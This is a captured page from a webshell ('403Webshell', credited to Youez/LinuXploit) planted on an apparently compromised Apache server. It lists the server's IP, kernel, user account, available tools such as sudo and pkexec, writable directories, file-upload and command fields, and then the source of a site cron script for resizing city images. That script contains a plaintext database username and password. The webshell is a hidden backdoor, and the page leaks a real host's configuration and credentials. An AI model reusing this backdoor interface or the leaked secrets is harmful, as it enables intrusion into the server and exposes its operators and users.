403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/img.g07/cron/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/img.g07/cron/index.php
<?php
$servername = "localhost";
$username   = "tripsban_user";
$password   = '3Uv)hi-UV)yK';

//connection to the database
$dbhandle = mysql_connect($servername, $username, $password) 
                    or die("Unable to connect to MySQL");

//select a database to work with
$selected = mysql_select_db("tripsban_db",$dbhandle) 
                or die("Could not select database");


/* Update City Information ******************************/

$sql = " SELECT id, city_icon FROM tbl_city WHERE cron_executed = 'N' AND city_icon <> '' "
        . " ORDER BY cron_priority desc LIMIT 0,5 ";

$result = mysql_query($sql); 

require_once('library/php_image_magician.php');
if(mysql_num_rows($result) > 0 ) {
while ($row = mysql_fetch_array($result)) {
    $intCityId       = $row['id'];
    $strCityIcon = $row['city_icon'];
   
    $originalFolder = $_SERVER["DOCUMENT_ROOT"] . '/public/upload/city/'.$intCityId.'/images/original/';
    
    
    
    if (!file_exists($originalFolder . $strCityIcon)) {
        $originalFolder = $_SERVER["DOCUMENT_ROOT"] . '/public/upload/city/'.$intCityId.'/images/large/';
    }
    
    if(file_exists($originalFolder . $strCityIcon)) {
        $objImageResize = new imageLib( $originalFolder . $strCityIcon);

       // $largeFolder = $_SERVER["DOCUMENT_ROOT"] . '/public/upload/tripsbank/city/'.$intCityId.'/images/large/';
       // $thumbFolder = $_SERVER["DOCUMENT_ROOT"] . '/public/upload/city/'.$intCityId.'/images/thumb/';
       // $smallFolder = $_SERVER["DOCUMENT_ROOT"] . '/public/upload/city/'.$intCityId.'/images/small/';
          $facebookFolder = $_SERVER["DOCUMENT_ROOT"] . '/public/upload/city/'.$intCityId.'/images/facebook/';
          
         // echo $facebookFolder;exit;
          
        if (!file_exists($facebookFolder)) {
             @mkdir($facebookFolder, 0777, true);
        }
        

//        if (!file_exists($largeFolder)) {
//            @mkdir($largeFolder, 0777, true);
//        }

        /*  
        if (!file_exists($thumbFolder)) {
            @mkdir($thumbFolder, 0777, true);
        }

        if (!file_exists($smallFolder)) {
            @mkdir($smallFolder, 0777, true);
        }
        */
       // echo $thumbFolder.'/'.$strCityIcon;
      //  echo "<br>";
    
    
    
   // $objImageResize->resizeImage(750,417, 'exact');
  //  $objImageResize->saveImage($largeFolder.'/'.$strCityIcon);
    
        /*  
        $objImageResize->resizeImage(600,605, 'exact');
        $objImageResize->saveImage($thumbFolder.'/'.$strCityIcon);
    
        $objImageResize->resizeImage(130,130, 'exact');
        $objImageResize->saveImage($smallFolder.'/'.$strCityIcon);
        */
        
        $objImageResize->resizeImage(600,315, 'exact');
        $objImageResize->saveImage($facebookFolder.'/'.$strCityIcon);
      
    }else {
        echo "File not exists";
    }
    
    $update = " UPDATE tbl_city SET cron_executed = 'Y' , cron_priority = '0' WHERE id = " . $intCityId;
        echo $update;
    mysql_query($update); 
}
}else {
   // $update = " UPDATE tbl_city SET cron_executed = 'N' , cron_priority = '0' ";
        //echo $update;
   // mysql_query($update); 
}

//close the connection
mysql_close($dbhandle);
echo "Done";
exit;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit